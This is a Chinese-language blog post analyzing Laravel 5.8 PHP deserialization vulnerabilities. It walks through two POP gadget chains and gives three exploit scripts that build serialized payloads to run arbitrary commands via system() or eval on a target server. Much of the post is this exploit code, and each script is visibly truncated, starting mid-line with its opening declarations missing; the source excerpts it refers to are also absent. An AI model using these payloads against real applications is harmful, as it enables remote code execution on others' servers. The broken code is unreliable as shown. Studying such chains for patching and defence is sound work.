Laravel 5.8反序列化漏洞的示例分析
这篇文章将为大家详细讲解有关Laravel 5.8反序列化漏洞的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。
Laravel 5.8反序列化漏洞
POP链1
PendingBroadcast->destruct --->Dispatcher->dispatch --->Dispatcher->dispatchToQueue
先看Dispatcher->dispatchToQueue,只要call_user_func的参数都可控,即可执行任意命令
再看pop链首
PendingBroadcast->__destruct
$this->events与$this->event可控。
这里需要调用Dispatcher->dispatch
跟进commandShouldBeQueued,只要$command属于ShouldQueue类(子类也行)即可返回true
跟进Dispatcher->dispatchToQueue
$this->queueResolver可控,$connection由传入的$command控制,也即是上面的$this->event,可控。
只要找到一个包含$connection属性的ShouldQueue的实现类即可执行任意代码。
先找到ShouldQueue的实现类如下
这些类自身没有$connection属性,但是一些类使用的trait类Queueable中有$connection,如下
故如下类,可用
QueuedCommandBroadcastEventSendQueuedNotificationsCallQueuedClosure
至此已可编写exp,整理一下
PendingBroadcast->events = Dispatcher类PendingBroadcast->event = BroadcastEvent类 //包含$connection属性的ShouldQueue的实现类 Dispatcher->queueResolver = 要执行的函数 BroadcastEvent->connection = 参数
exp1
queueResolver = "system"; }}namespace Illuminate\Broadcasting;class BroadcastEvent implements ShouldQueue{ public $connection; public function __construct($cmd){ $this->connection = $cmd; }} namespace Illuminate\Broadcasting;class PendingBroadcast{ protected $events; protected $event; public function __construct($events,$event){ $this->events = $events; $this->event = $event; } }$broadcastevent = new Illuminate\Broadcasting\BroadcastEvent($argv[1]);$dispatcher = new Illuminate\Bus\Dispatcher();$pending = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);echo urlencode(serialize($pending));echo "\n";?>
控制broadcastevent的$connection为要执行命令的参数即可执行命令了,其他师傅没有这么做,不是很理解原因。但是下面还是说一下其他师傅的。
利用参数可控的call_user_func可调用任意类方法,如下
故,这里可以调用EvalLoader类的load方法,如下
MockDefinition类的getCode方法返回值可控,如下
只要控制了code并且不进入if语句(使得$definition->getClassName为一个未被载入的类),即可执行代码
跟踪getClassName方法
全局查找返回值可控的getName方法,发现MockConfiguration类
至此可编写exp,整理一下如下
PendingBroadcast->events = Dispatcher类PendingBroadcast->event = BroadcastEvent类 //包含$connection属性的ShouldQueue的实现类 Dispatcher->queueResolver = [EvalLoader类,"load"] BroadcastEvent->connection = MockDefinition类 MockDefinition->config = MockConfiguration类 //任一getName返回值可控的类MockDefinition->code = 要执行的代码MockConfiguration->name = ConfigCacheCommand类 //任一未被载入的类
exp2
queueResolver = $cmd; }}namespace Illuminate\Broadcasting;class BroadcastEvent{ public $connection; public function __construct($cmd){ $this->connection = $cmd; }}namespace Mockery\Generator;class MockDefinition{ protected $config; protected $code; public function __construct($mockconfiguration,$code){ $this->config = $mockconfiguration; $this->code = $code; }}namespace Mockery\Generator;class MockConfiguration{ protected $name; public function __construct($class){ $this->name = $class; }}namespace Mockery\Loader;class EvalLoader{}namespace Illuminate\Foundation\Console;class ConfigCacheCommand{} namespace Illuminate\Broadcasting;class PendingBroadcast{ protected $events; protected $event; public function __construct($events,$event){ $this->events = $events; $this->event = $event; } }$mockconfiguration = new \Mockery\Generator\MockConfiguration(new \Illuminate\Foundation\Console\ConfigCacheCommand());$mockdefinition = new \Mockery\Generator\MockDefinition($mockconfiguration,"");$broadcastevent = new \Illuminate\Broadcasting\BroadcastEvent($mockdefinition);$dispatcher = new \Illuminate\Bus\Dispatcher(array(new \Mockery\Loader\EvalLoader(),"load"));$pending = new \Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);echo urlencode(serialize($pending));echo "\n";?>
POP链2
TagAwareAdapter->__destruct --->TagAwareAdapter->commit --->TagAwareAdapter->invalidateTags --->ProxyAdapter->saveDeferrred --->ProxyAdapter->doSave
先看命令执行处
若ProxyAdapter->setInnerItem、$innerItem、$item可控,则可命令执行。
回到POP链首
TagAwareAdapter->__destruct
跟进,TagAwareAdapter->commit
跟进,TagAwareAdapter->invalidateTags(截取部分)
令$this->pool=ProxyAdapter类
跟进ProxyAdapter->saveDeferred
跟进ProxyAdapter->doSave
首先,$item为我们传入的参数,也即是$TagAwareAdapter->deferred,可控。
204行的if语句,只要使得$item为CacheItem的实例即可通过。
$this->setInnerItem为ProxyAdapter的属性,可控。
$innerItem可通过代码213行控制
至此可以编写exp,整理一下
$TagAwareAdapter->deferred = ["4ut15m",CacheItem类]$TagAwareAdapter->pool = ProxyAdapter类$ProxyAdapter->setInnerItem = "system";$ProxyAdapter->poolHash = "4ut15m";$CacheItem->innerItem = 要执行的命令$CacheItem->poolHash = "4ut15m";
这条链并不复杂,具体的内容看exp
exp
deferred = array("4ut15m" => $obj2); $this->pool = $obj; }}namespace Symfony\Component\Cache;final class CacheItem{ protected $innerItem; protected $poolHash; public function __construct($cmd){ $this->innerItem = "$cmd"; $this->poolHash = "4ut15m"; }}namespace Symfony\Component\Cache\Adapter;class ProxyAdapter{ private $setInnerItem; private $poolHash; public function __construct(){ $this->setInnerItem = "system"; $this->poolHash = "4ut15m"; }}$cacheitem = new \Symfony\Component\Cache\CacheItem($argv[1]);$proxyadapter = new \Symfony\Component\Cache\Adapter\ProxyAdapter();$TagAwareAdapter = new \Symfony\Component\Cache\Adapter\TagAwareAdapter($proxyadapter, $cacheitem);echo urlencode(serialize($TagAwareAdapter));echo "\n";?>
关于"Laravel 5.8反序列化漏洞的示例分析"这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。